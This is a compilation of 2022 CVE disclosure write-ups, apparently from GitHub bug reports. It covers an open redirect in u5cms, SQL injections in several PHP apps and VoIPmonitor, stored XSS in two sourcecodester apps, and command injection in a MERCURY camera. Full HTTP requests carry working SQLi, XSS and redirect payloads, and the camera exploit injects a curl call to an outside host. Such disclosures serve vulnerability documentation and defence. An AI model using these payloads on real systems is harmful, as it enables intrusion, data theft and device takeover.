An issue was discovered in u5cms verion 8.3.5 There is a URL redirection vulnerability that can cause a user's browser to be redirected to another site via /loginsave.php.

URL redirection vulnerability in u5cms v8.3.5

This script is possibly vulnerable to URL redirection attacks.

URL redirection is sometimes used as a part of phishing attacks that confuse visitors about which web site they are visiting. By modifying the parameters, the attacker can make the user jump to the phishing web page to realize the attack.

URL redirection vulnerability exists in /loginsave.php. When the user accesses the address constructed by the attacker, the web page will be redirected to the address pointed to by the parameter "u", instead of u5cms' own web page.

The payload is /loginsave.php?u=http://xfs.bxss.me/

When users access this URL, the browser will be redirected to https://www.acunetix.com/vulnerability-scanner/acumonitor-technology

Here are the HTTP request and HTTP response.

HTTP request:

    GET /loginsave.php?u=http://xfs.bxss.me/ HTTP/1.1
    Host: 192.168.116.133
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    

HTTP response:

    HTTP/1.1 302 Moved Temporarily
    Date: Sat, 04 Jun 2022 03:09:40 GMT
    Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
    X-Powered-By: PHP/5.3.29
    X-XSS-Protection: 0
    Set-Cookie: u=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; httponly
    Set-Cookie: p=56e2526ba3e8ff31822f36a269d6434027ba5dcd; path=/; httponly
    Location: [http://xfs.bxss.me?1654312181](http://xfs.bxss.me/?1654312181)
    Content-Length: 0
    Connection: close
    Content-Type: text/html; charset=latin1
    

Eventually, the browser will be redirected to https://www.acunetix.com/vulnerability-scanner/acumonitor-technology/

If possible, I suggest you check whether the end of the domain name is the current domain name during the development process. If yes, the browser will jump. Otherwise, you should filter out illegal parameters.

Best wishes!

CVE-2022-32444: URL redirection vulnerability in u5cms v8.3.5 · Issue #50 · u5cms/u5cms

Online Ordering System v2.3.2 was discovered to contain a SQL injection vulnerability via /ordering/admin/inventory/index.php?view=edit&id=.

**Online Ordering System By janobe has SQL injection vulnerability**

Author： Wang Chen Jun

vendor: https://www.sourcecodester.com/php/12978/online-ordering-system-phpmysqli.html

Vulnerability file: /ordering/admin/inventory/index.php?view=edit&id=

Vulnerability location: /ordering/admin/inventory/index.php?view=edit&id= //id is Injection point

\[+\]Payload: /ordering/admin/inventory/index.php?view=edit&id=-2%27%20union%20select%201,database(),3,4,5,6,7,8,9,10--+ //id is Injection point

Current database name: multistoredb

GET /ordering/admin/inventory/index.php?view\=edit&id\=\-2%27%20union%20select%201,database(),3,4,5,6,7,8,9,10\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close

CVE-2022-31357: bug_report/SQLi-3.md at main · k0xx11/bug_report

Online Ordering System v2.3.2 was discovered to contain a SQL injection vulnerability via /ordering/admin/store/index.php?view=edit&id=.

Permalink

Cannot retrieve contributors at this time

**Online Ordering System By janobe has SQL injection vulnerability**

Author： Wang Chen Jun

vendor: https://www.sourcecodester.com/php/12978/online-ordering-system-phpmysqli.html

Vulnerability file: /ordering/admin/store/index.php?view=edit&id=

Vulnerability location: /ordering/admin/store/index.php?view=edit&id= //id is Injection point

\[+\]Payload: /ordering/admin/store/index.php?view=edit&id=-9%27%20union%20select%201,database(),3,4,5,6,7--+ //id is Injection point

Current database name: multistoredb

GET /ordering/admin/store/index.php?view\=edit&id\=\-9%27%20union%20select%201,database(),3,4,5,6,7\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close

CVE-2022-31356: bug_report/SQLi-4.md at main · k0xx11/bug_report

Online Ordering System v2.3.2 was discovered to contain a SQL injection vulnerability via /ordering/index.php?q=category&search=.

Permalink

**Online Ordering System By janobe has SQL injection vulnerability**

Author： Lingtao Wang

vendor: https://www.sourcecodester.com/php/12978/online-ordering-system-phpmysqli.html

Vulnerability file: /ordering/index.php?q=category&search=

Vulnerability location: /ordering/index.php?q=category&search= //search is Injection point

\[+\]Payload: /ordering/index.php?q=category&search=3%20and%20length(database())%20=12--+ //search is Injection point

Current database name: multistoredb,length is 12

GET /ordering/index.php?q\=category&search\=3%20and%20length(database())%20\=12\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close

When length (database ()) = 11, Content-Length: 18685 

When length (database ()) = 12, Content-Length: 23327

CVE-2022-31355: bug_report/SQLi-2.md at main · k0xx11/bug_report

VoIPmonitor WEB GUI up to version 24.61 is affected by SQL injection through the "api.php" file and "user" parameter.

sql injection on user parameter. since, api.php file doesnt need any authentication attacker can exploit this vulnerability without any valid session or credentials.

GET /voipmonitorpath/api.php?action=login&user=\[inject\_here\]&pass=trollz HTTP/1.1
Host: vulnerableinstance
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: \*/\*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 0
Connection: close

sqlmap result:

Parameter: #1\* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://vulnerableinstance:80/voipmonitorpath/api.php?action=login&user=' AND (SELECT 9158 FROM (SELECT(SLEEP(5)))Evax) AND 'jvDj'='jvDj&pass=trollz
\---
\[02:19:33\] \[INFO\] testing MySQL
\[02:20:22\] \[INFO\] confirming MySQL
web application technology: Nginx 1.14.2, PHP
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
banner: '10.3.29-MariaDB-1:10.3.29+maria~stretch'

cc: @cnbrkbolat & @R0h1rr1m

CVE-2021-41408: voipmonitor unauth sql injection

Directory Management System v1.0 was discovered to contain a SQL injection vulnerability via the fullname parameter in add-directory.php.

\> \[Suggested description\]

\> Directory Management System v1.0 was discovered to contain a SQL

\> injection vulnerability via the fullname parameter in

\> add-directory.php.

\>

\> ------------------------------------------

\>

\> \[Vulnerability Type\]

\> SQL Injection

\>

\> ------------------------------------------

\>

\> \[Vendor of Product\]

\> phpgurukul

\>

\> ------------------------------------------

\>

\> \[Affected Product Code Base\]

\> Directory Management System - 1.0

\>

\> ------------------------------------------

\>

\> \[Affected Component\]

\> add-directory.php

\>

\> ------------------------------------------

\>

\> \[Attack Type\]

\> Remote

\>

\> ------------------------------------------

\>

\> \[Impact Information Disclosure\]

\> true

\>

\> ------------------------------------------

\>

\> \[Attack Vectors\]

\> POST /dms/admin/add-directory.php HTTP/1.1

\> Host: ip

\> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0

\> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

\> Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

\> Accept-Encoding: gzip, deflate

\> Content-Type: application/x-www-form-urlencoded

\> Content-Length: 178

\> Connection: close

\> Cookie: PHPSESSID=eml4bgiglhno5kgmjj8uld5qgs

\> Upgrade-Insecure-Requests: 1

\>

\> fullname=database()','$profession','$email','$mobilenumber','$address',database(),'$admsta')%23&profession=aaaa&email=aaa%40aaa.aaa&mobilenumber=aaa&city=aaa&address=aaaa&submit=

\>

\> ------------------------------------------

\>

\> \[Discoverer\]

\> laotun

\>

\> ------------------------------------------

\>

\> \[Reference\]

\> http://directory.com

\> http://phpgurukul.com

Use CVE-2022-31384.

CVE-2022-31384: POC/CVE-2022-31384.txt at main · laotun-s/POC

Zoo Management System v1.0 is vulnerable to Cross Site Scripting (XSS) via zms/admin/public_html/save_animal?an_id=24.

Permalink

**zoo-management-system - Cross-site Scripting (XSS)**

vendors: https://www.sourcecodester.com/php/15347/zoo-management-system-source-code-php-mysql-database.html

Date: 2022-05-07

Vulnerability File: /zms/admin/public\_html/save\_animal?an\_id=24

Vulnerability location: /zms/admin/public\_html/save\_animal?an\_id=24, an\_given\_name

\[+\] Payload: "><sCrIpT>alert(1)</sCrIpT>

Tested on Windows 10, XAMPP

    POST http://192.168.2.102/zms/admin/public_html/save_animal?an_id=24 HTTP/1.1
    Host: 192.168.2.102
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
    Content-Type: multipart/form-data; boundary=---------------------------154827300217808672181041720663
    Content-Length: 4518
    Origin: http://192.168.2.102
    Connection: close
    Referer: http://192.168.2.102/zms/admin/public_html/save_animal?an_id=24
    Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj
    Upgrade-Insecure-Requests: 1
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="animal_id"
    
    24
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_given_name"
    
    	 "><sCrIpT>alert(1)</sCrIpT>
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_species_name"
    
    Acinonyx jubatus
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_dob"
    
    2020-04-04
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_gender"
    
    m
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_avg_lifespan"
    
    20 Years
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="class_id"
    
    1
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="location_id"
    
    4
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_dietary_req"
    
    Meat
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_natural_habitat"
    
    Grassland
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_pop_dist"
    
    20,000 in Asia
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_joindate"
    
    2020-04-11
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_height"
    
    12
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_weight"
    
    12
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_description"
    
    lorem ipsum dolor sit amet
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="images[]"; filename=""
    Content-Type: application/octet-stream
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_med_record"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_transfer"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_transfer_reason"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_death_date"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_death_cause"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_incineration"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="m_gest_period"
    
    2 months
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="m_category"
    
    Clawed Mammal
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="m_avg_body_temp"
    
    34
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="b_nest_const"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="b_clutch_size"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="b_wingspan"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="b_color_variant"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="f_body_temp"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="f_water_type"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="f_color_variant"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="rep_type"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="clutch_size"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="num_offspring"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="submit"
    
    
    -----------------------------154827300217808672181041720663--

CVE-2022-31914: 0525/xss.md at main · mikeccltt/0525

Online Discussion Forum Site v1.0 is vulnerable to Cross Site Scripting (XSS) via /odfs/classes/Master.php?f=save_category, name.

Permalink

**online-discussion-forum-site - Cross-site Scripting (XSS)**

vendors: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html

Date: 2022-05-07

Vulnerability File: /odfs/classes/Master.php

Vulnerability location: /odfs/classes/Master.php?f=save\_category, name

\[+\] Payload: <sCrIpT>alert(1)</sCrIpT>

Tested on Windows 10, XAMPP

    POST http://192.168.2.102/odfs/classes/Master.php?f=save_category HTTP/1.1
    Host: 192.168.2.102
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=---------------------------1173846977850966238533383019
    Content-Length: 743
    Origin: http://192.168.2.102
    Connection: close
    Referer: http://192.168.2.102/odfs/admin/?page=categories
    Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj
    
    -----------------------------1173846977850966238533383019
    Content-Disposition: form-data; name="id"
    
    3
    -----------------------------1173846977850966238533383019
    Content-Disposition: form-data; name="name"
    
    <sCrIpT>alert(1)</sCrIpT>
    -----------------------------1173846977850966238533383019
    Content-Disposition: form-data; name="description"
    
    Python is a high-level, interpreted, general-purpose programming language. Its design philosophy emphasizes code readability with the use of significant indentation. Python is dynamically-typed and garbage-collected.
    -----------------------------1173846977850966238533383019
    Content-Disposition: form-data; name="status"
    
    1
    -----------------------------1173846977850966238533383019--

CVE-2022-31913: 0525/xss.md at main · mikeccltt/0525

Online Discussion Forum Site v1.0 is vulnerable to SQL Injection via /odfs/classes/Master.php?f=delete_team.

Permalink

Cannot retrieve contributors at this time

**online-discussion-forum-site v1.0 has SQL injection**

vendors: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html

Date: 2022-05-07

Vulnerability File: /odfs/classes/Master.php?f=delete\_team

Vulnerability location:/odfs/classes/Master.php?f=delete\_category, id

\[+\] Payload: 2'and/\*\*/extractvalue(1,concat(char(126),database()))and'

Tested on Windows 10, XAMPP

    POST http://192.168.2.102/odfs/classes/Master.php?f=delete_category HTTP/1.1
    Host: 192.168.2.102
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 60
    Origin: http://192.168.2.102
    Connection: close
    Referer: http://192.168.2.102/odfs/admin/?page=categories
    Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj
    
    id=2'and/**/extractvalue(1,concat(char(126),database()))and'

CVE-2022-31911: 0525/sql.md at main · mikeccltt/0525

MERCURY MIPC451-4 1.0.22 Build 220105 Rel.55642n was discovered to contain a remote code execution (RCE) vulnerability which is exploitable via a crafted POST request.

**MERCURY MIPC451-4 command\_execution**

**CVE ID**:

**Vender**: MERCURY

**Vendor Homepage**: https://www.mercurycom.com.cn/

**Affect products**: MIPC451-4

**Firmware version**: 1.0.22 Build 220105 Rel.55642n

**Hardware Link**: https://service.mercurycom.com.cn/download/202109/MIPC451-4%20V2.0%E5%8D%87%E7%BA%A7%E8%BD%AF%E4%BB%B620210414\_1.0.6.zip

**Exploit Author**: SkYe231@Hillstone

**describe**

The Mercury MIPC451-4 has remote command execution, and remote attackers can bypass restrictions through carefully constructed packets to achieve remote command execution.

**detail**

Taking the mailbox name as the core filtering rule of username, the rules only filter the mailbox format (see the code comments for details), and do not filter special symbols, so there is a chance of injection.

> file:/usr/bin/dsd

/\* expect return value 1 \*/

int FUN\_00024aa4(byte \*param\_1)

{
  size\_t sVar1;
  char \*pcVar2;
  int iVar3;
  
                    /\* username is empty \*/
  if (param\_1 == (byte \*)0x0) {
    return 0;
  }
                    /\* length is 0 \*/
  sVar1 = strlen((char \*)param\_1);
  if (sVar1 == 0) {
    return 0;
  }
                    /\* Limit length<129 \*/
  if ((int)sVar1 < 129) {
                    /\* matches @ \*/
    pcVar2 = strchr((char \*)param\_1,L'@');
                    /\* no matches \*/
    if (pcVar2 == (char \*)0x0) {
      return 0;
    }
                    /\* Does it end with @ \*/
    if (param\_1\[sVar1 - 1\] != 0x40) {
                    /\* Does it start with @ \*/
      iVar3 = \*param\_1 - 0x40;
      if (iVar3 != 0) {
        iVar3 = 1;
      }
      return iVar3;
    }
  }
  return 0;
}

**EXP**

1.  Log in to the background to get **stok** (cookie)
    
        POST / HTTP/1.1
        Host: 192.168.0.103
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Content-Type: application/json; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Content-Length: 73
        Origin: http://192.168.0.103
        Connection: close
        Referer: http://192.168.0.103/
        
        {"method":"do","login":{"username":"{your_name}","password":"{your_password}"}}
        
    
2.  Trigger remote command execution
    
    > Command:curl$IFS-o-$IFS'http://192.168.0.101:9999/skye231'
    
        POST /stok=05173d0162e8c77387fa1bbc12b2fa62/ds HTTP/1.1
        Host: 192.168.0.103
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Content-Type: application/json; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Content-Length: 147
        Origin: http://192.168.0.103
        Connection: close
        Referer: http://192.168.0.103/
        
        {"cloud_config":{"bind":{"username":"\"}';curl$IFS-o-$IFS'http://192.168.0.101:9999/skye231';'{\"@mrskye.com","password":"admin123"}},"method":"do"}

Tag

#firefox